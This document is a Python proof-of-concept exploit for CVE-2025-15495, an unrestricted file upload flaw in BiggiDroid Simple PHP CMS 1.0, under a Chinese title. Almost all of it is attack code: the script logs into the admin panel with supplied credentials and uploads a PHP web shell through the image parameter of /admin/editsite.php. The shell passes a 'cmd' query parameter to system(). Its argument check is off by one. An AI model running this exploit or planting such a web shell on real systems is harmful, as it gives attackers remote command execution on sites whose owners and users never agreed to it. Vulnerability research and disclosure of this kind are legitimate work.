CVE-2025-15495 BiggiDroid Simple PHP CMS 1.0 无限制文件上传漏洞

import requests import sys # CVE-2025-15495 PoC - BiggiDroid Simple PHP CMS Unrestricted File Upload # Target: BiggiDroid Simple PHP CMS 1.0 # Vulnerability: Unrestricted file upload in /admin/editsite.php (image parameter) def exploit_upload(target_url, username, password, webshell_content): """ Exploit the unrestricted file upload vulnerability """ # Login to admin panel login_url = target_url + '/admin/index.php' login_data = { 'username': username, 'password': password } session = requests.Session() login_response = session.post(login_url, data=login_data) if 'admin' not in login_response.text.lower(): print('[-] Login failed') return False print('[+] Login successful') # Upload malicious file upload_url = target_url + '/admin/editsite.php' files = { 'image': ('shell.php', webshell_content, 'application/x-php') } try: upload_response = session.post(upload_url, files=files) print('[+] File upload attempted') # Check if upload was successful if upload_response.status_code == 200: print('[+] Exploit sent - Check for uploaded webshell') return True except Exception as e: print(f'[-] Error: {str(e)}') return False return False if __name__ == '__main__': if len(sys.argv) < 3: print(f'Usage: python {sys.argv[0]} <target_url> <username> <password>') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] # PHP webshell content webshell = '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>' exploit_upload(target, user, pwd, webshell)